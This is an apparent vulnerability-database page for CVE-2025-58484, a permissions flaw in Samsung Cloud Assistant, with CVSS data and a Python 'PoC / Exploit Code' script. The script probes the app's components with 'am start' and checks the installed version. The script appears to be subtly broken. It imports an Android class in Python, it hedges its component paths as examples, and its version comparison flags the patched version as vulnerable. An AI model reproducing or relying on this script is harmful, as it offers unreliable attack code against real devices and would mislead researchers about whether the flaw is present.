Incorrect default permissions in Samsung Cloud Assistant prior to version 8.0.03.8 allows local attacker to access partial data in sandbox.
CVSS Details
CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Samsung Cloud Assistant < 8.0.03.8
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58484 PoC - Samsung Cloud Assistant Permission Bypass
# This PoC demonstrates attempting to access protected components
import subprocess
import android.os.Bundle
def check_vulnerable_version():
"""Check if Samsung Cloud Assistant version is vulnerable"""
try:
# Get installed version
result = subprocess.check_output([
'dumpsys', 'package', 'com.samsung.android.scloud'
]).decode('utf-8')
# Parse version from package info
for line in result.split('\n'):
if 'versionName' in line:
version = line.split('=')[1].strip()
print(f"Installed version: {version}")
return version
except Exception as e:
print(f"Error checking version: {e}")
return None
def exploit_permission_bypass():
"""
Attempt to exploit incorrect default permissions
This PoC attempts to access protected components via implicit intents
"""
vulnerable_components = [
# Example component paths (may vary by version)
'com.samsung.android.scloud/.main.MainActivity',
'com.samsung.android.scloud/.sync.SyncService',
'com.samsung.android.scloud/.provider.SCloudProvider'
]
for component in vulnerable_components:
try:
# Attempt to launch protected activity without proper permissions
intent = f"am start -n {component}"
result = subprocess.check_output(
intent.split(),
stderr=subprocess.STDOUT
).decode('utf-8')
print(f"Component {component}: Accessible (VULNERABLE)")
except subprocess.CalledProcessError as e:
print(f"Component {component}: Protected (PATCHED)")
except Exception as e:
print(f"Error testing {component}: {e}")
def verify_fix():
"""Verify if the fix has been applied"""
version = check_vulnerable_version()
if version:
# Compare version numbers
version_parts = version.split('.')
fixed_parts = [8, 0, 3, 8]
for i, part in enumerate(version_parts[:4]):
if int(part) < fixed_parts[i]:
print("Status: VULNERABLE - Update recommended")
return False
elif int(part) > fixed_parts[i]:
print("Status: PATCHED - Version is secure")
return True
return False
if __name__ == "__main__":
print("CVE-2025-58484 PoC - Samsung Cloud Assistant Permission Bypass")
print("=" * 60)
verify_fix()
print("\nRunning exploit test...")
exploit_permission_bypass()